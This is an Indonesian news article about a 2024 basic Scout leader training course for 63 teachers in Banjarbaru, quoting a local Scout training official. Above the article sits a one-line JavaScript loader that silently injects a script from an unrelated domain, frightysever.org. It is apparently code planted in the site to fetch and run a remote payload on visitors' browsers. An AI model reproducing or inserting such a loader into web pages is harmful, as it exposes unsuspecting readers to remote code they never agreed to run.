(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pendidikan

63 Guru Pembina Pramuka se Kota Banjarbaru Ikuti KMD 2024

KANALKALIMANTAN.COM, BANJARBARU – Gerakan Pramuka Kwartir Cabang (Kwarcab) Kota Banjarbaru menggelar Kursus Pembina Pramuka Mahir Tingkat Dasar (KMD) bagi pelatih pembina Pramuka se Kota Banjarbaru tahun 2024.

Ada 63 peserta yang merupakan guru dari berbagai sekolah dari lima kecamatan yang mengikuti KMD kali ini, berpusat di SDN 1 Guntung Paikat Banjarbaru, 5-10 Agustus 2024.

Kepala Tata Usaha Pusat Pendidikan dan Pelatihan Tingkat Cabang (Pusdiklatcab) Kota Banjarbaru, Drs Sunardi MM mengatakan, KMD berlangsung selama 70 jam sesuai kurikulum yang diberikan Kwartir Nasional dengan memberikan berbagai pembekalan.

“Kurikulum yang diberikan oleh Kwartir Nasional 70 jam, kita mengadakan sampai malam jadi dihitung juga berapa jam dalam 1 hari,” ujar Drs Sunardi MM kepada Kanalkalimantan.com, Jumat (9/8/2024).

Peserta yang mengikuti KMD diikuti dari pembina Pramuka SD, SMP, dan SMA yang diberikan materi oleh pelatih yang telah memiliki ijazah pendidikan tingkat lanjutan.

Mereka diberikan pembekalaan berupa kegiatan-kegiatan untuk meningkatkan kapasitas pelatih dalam pembinaan dan pengembangan kepramukaan di wilayah Kota Banjarbaru.

Kepala Tata Usaha Pusdiklatcab Kota Banjarbaru, Drs Sunardi MM. Foto: wanda

“Dengan 13 pelatih yang semuanya telah memiliki predikat pendidikan tingkat lanjutan dan ijazah mereka telah ditanda tangani Kwartir Nasional, memberikan pembekalaan sejak dari pembukaan, fundamental, penerapan hingga pengukuhan,” sebut dia.

Adapun materi yang diberikan kata dia, mulai dari itu Undang-Undang Gerakan Pramuka yang berhubungan dengan kurikulum merdeka, keterampilan dasar, hingga bagaimana menyusun progran-program dalam kegiatan kepramukaan.

Tak hanya itu, melakui KMD ini juga peserta diberikan materi dan kegiatan terkait dengan keterampilan baris berbaris upacara hingga permainan-permainan dalam kegiatan Pramuka.

“Seluruh bekal yang mereka dapat ini adalah bekal bagi mereka untuk menjadi seorang pembina, karena guru di sekolah ketika ditunjuk sebagai pembina Pramuka seharusnya sudah memiliki ijazah, karena pendidikan inilah yang menjadi seorang guru untuk menjadi pembina, dan mereka akan mendapatkan ijazah,” jelasnya.

Kegiatan ini juga katanya, kerap dilaksanakan Kwartir cabang daerah maupun ranting, pada saat memerlukan kebutuhan pembina. Saat ini di Kota Banjarbaru, kebutuhan akan pembina terus kurang, maka Kwarcab melaksanakan pendidikan dan latihan untuk para pembina yang disebut KMD.

“Kali ini kita mendapatkan bantuan dana hibah dari kwartir daerah, kegiatan ini diselenggarakan berdasarkan kebutuhan tenaga pembina,” ungkapnya.

Kegiatan ini tidak dilaksanakan rutin setiap tahun, tetapi dilaksanakan berdasarkan kebutuhan.

“Berdasarkan berapa data pembina yang ada di Kota Banjarbaru, sehingga kita akan mengevaluasi perlu diadakan pelatihan pembina, maka akan dilaksanakan pelatihan pembina tingkat dasar,” tandas Sunardi. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie